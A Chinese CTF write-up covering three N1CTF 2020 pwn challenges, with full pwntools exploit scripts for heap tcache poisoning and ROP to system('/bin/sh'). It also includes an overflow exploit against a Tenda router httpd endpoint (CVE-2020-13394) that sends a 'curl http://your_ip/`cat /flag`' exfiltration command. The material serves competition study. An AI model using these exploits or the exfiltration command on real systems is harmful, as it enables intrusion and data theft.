N1CTF-2020 PWN 部分题解

Signin

题目逻辑

题目定义了一个用于容器空间动态拓展的结构体:

Struct a
{
  void* start; // 申请的chunk起始地址
  void* point; // 当前使用空间的地址
  void* end; // 容器内部最多存放元素的结束地址
}

题目new功能向容器内部写入一个8字节长度的数字,容器空间拓展规则如下:每次内部元素个数达到最大后,分配当前空间的2倍空间,并将旧空间数据拷贝到新空间。

delete功能就单纯将point指针值-8。

show功能将point指针-8后的地址里面的值打印出来。

利用

不断得new,chunk大小变化为 0x20(A), 0x20(B), 0x30, 0x50, 0x90。

两个0x20的chunk放入了tcache中(B->A),利用delete和show功能就能够泄露堆地址。

修改B chunk里的fd指针,分配chunk到tcache里。

分配到tcache后就好办了,修改tcache->conuts[tc_idx], free掉一个chunk泄露libc基址,再修改tcache->entries[tc_idx]来申请到__free_hook。

由于没有合适的one_gadget可用,使用setcontext+53来ROP。


1.png

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def send(choice):
    p.sendlineafter('>>', str(choice))

def add(index, number):
    send(1)
    p.sendlineafter('dex:', str(index))
    p.sendlineafter('Number', str(number))

def delete(index):
    send(2)
    p.sendlineafter('dex', str(index))

def show(index):
    send(3)
    p.sendlineafter('dex', str(index))

elf = ELF('./signin')
libc = elf.libc
# p = process('./signin')

p = remote('47.242.161.199', 9990)


add(1, 0)  # chunk 0 0x20
add(1, 1)  # chunk 1 0x20
add(1, 2)  # chunk 2 0x30
add(1, 2)  # chunk 2 0x30
add(1, 3)  # chunk 3 0x50
add(1, 3)
add(1, 3)
add(1, 3)
for i in range(7): # chunk 4 0x90
    add(1, 4)
add(1, 4)

for i in range((0xe8 // 8)+6):
    delete(1)
show(1)
heap_base = int(p.recvuntil('\n')[1:]) - (0x0000560689472e70-0x0000560689461000)
log.info("HEAP BASE: "+hex(heap_base))
tcache_fake_chunk = heap_base+0x50+0x150
delete(1)
add(1, tcache_fake_chunk)

add(2, 0)
add(2, 0) # tcache_fake_chunk

add(1, 0)
add(1, 0)
add(1, 0x31)
for i in range(4):
    add(1, 0)
add(1, 0)
add(1, 0x51)
for i in range(0x40//8):
    add(1, 0)
add(1, 0)
add(1, 0x91)
for i in range(0x80 // 8):
    add(1, 0)

for i in range((0x150+0x40+0x10)//8):
    delete(2)
for i in range((0x40+0x20)//8):
    if i == 0:
        add(2, 0xffffffffffffff00)
    else:
        add(2, 0xffffffffffffffff)

add(1, 5)   # free 0x90 chunk in unsorted_bin
for i in range((0x88+0x80)//8):
    delete(1)
show(1)
libc_base = int(p.recvuntil('\n')[1:]) - (0x00007ffff782eca0-0x7ffff7443000)
log.info(hex(libc_base))
setcontext = libc_base + 0x52145
free_hook = libc_base + libc.sym['__free_hook']
sh = libc_base + libc.search('/bin/sh').next()
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_rsi_ret = libc_base + 0x0000000000130889
ret = libc_base + 0x00000000000008aa

for i in range(4):
    delete(2)
for i in range(0x100//8):
    add(2, free_hook)

for i in range((0x70)//8):
    add(1, 0)
add(1, 0)
add(1, 0x111)

# orw = [setcontext, pop_rdi_ret, heap_base+0x11fc0-8*3, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['open'],
#     pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['read'],
#     pop_rdi_ret, 1, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['write']             
# ]
orw = [setcontext, pop_rdi_ret, sh, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['system']]
for i in range((0xa0-len(orw)*8)//8):
    orw += [0]
orw += [heap_base+0x11fc0+8, ret]
for value in orw:
    add(1, value)
for i in range((0x100//8)-len(orw)):
    add(1, 0)
add(1, 0)


p.interactive()

babyrouter

晚上才看到这题,开始改docker还改出一堆错误太菜了,无奈拿了个四血(Venom tql)。


2.png

题目

逆的时候发现有Tenda关键字,Google一下发现CVE-2020-13394,https://joel-malwarebenchmark.github.io/

链接里给的POC把路径给隐藏掉了,但逆一下就能找到路径应该是/goform/SetNetControlList

3.png

经过测试,这个payload得发送两次,而且需要断开TCP连接后才能触发漏洞点strcpy

给的start.sh 改成这样,docker exec 上去用gdbserver就能愉快的调试了。

#!/bin/sh
# Add your startup script

brctl addbr br0
ifconfig br0 10.10.10.10 up

service nginx start
nginx -t
nginx -s reload

PRO_NAME=qemu-arm
while true ; do
  NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
  if [ "${NUM}" -lt "1" ];then
    echo "${PRO_NAME} was killed"
    ${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt&  # debug
    rm /qemu_httpd*
    rm /tmp/core-qemu*
  fi
done

调试确定偏移,并且由于程序由qemu起的,栈地址以及libc基址不变,调试得到这两个地址直接写进去,最后调用system()函数。

由于需要断开TCP连接才能触发漏洞,system函数执行curl http://ip/`cat /flag`来带出flag

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

payload = '''POST /goform/SetNetControlList HTTP/1.1\r
Host: 192.168.18.131\r
Accept:  */*\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-US,en;q=0.9\r
Connection: close\r
Cookie: password=qpl5gk\r
\r
list={}\r
'''

url = '8.210.119.59'
port = 9990

# url = '127.0.0.1'
# port = 2333

libc_base = 0xf659b000
vuln_start = 0xf6ffefbc 
system = libc_base + 0x0005A270
sh = libc_base + 0x00626D2
pop_r0_pc = libc_base + 0x0003db80

p = remote(url, port)
p.send(payload.format('1'))
p.close()

p = remote(url, port)
p.send(payload.format(';'+'1'*(0x260-1+9)+p32(pop_r0_pc)+p32(vuln_start+0x260+0xc)+p32(system)+'curl http://your_ip/`cat /flag`'))
p.close()

easywrite

比赛时没做出来,赛后看https://ctftime.org/writeup/24295复现了下

思路是伪造struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook。

不过没有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八个字节放"/bin/sh", 后8个字节放system函数地址。

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def get_libc_base():
    p.recvuntil('gift:', timeout=5)
    libc_base = int(p.recv(14), 16) - libc.sym['setbuf']
    return libc_base

def send_message(content):
    p.sendafter('message', str(content))

def send_addr(addr):
    p.sendafter('write', p64(addr))

pfree = 0x0000000000001371

elf = ELF('./easywrite')
libc = ELF(('./libc-2.31.so'))
# p = process('./easywrite')
p = remote('124.156.183.246', 20000)

# gdb.attach(p,'b*$rebase({})'.format(pfree))

libc_base = get_libc_base()
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
tcache = libc_base + 0x1f34f0
one_gadget = libc_base + 0xe6e76
system = libc_base + libc.sym['system']


fake_chunk = '\x07'*0x80+p64(free_hook-8)*4
p.sendafter("message", str(fake_chunk))
p.sendafter('write', p64(tcache))

p.sendafter("message", '/bin/sh\x00'+p64(system))

p.interactive()

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。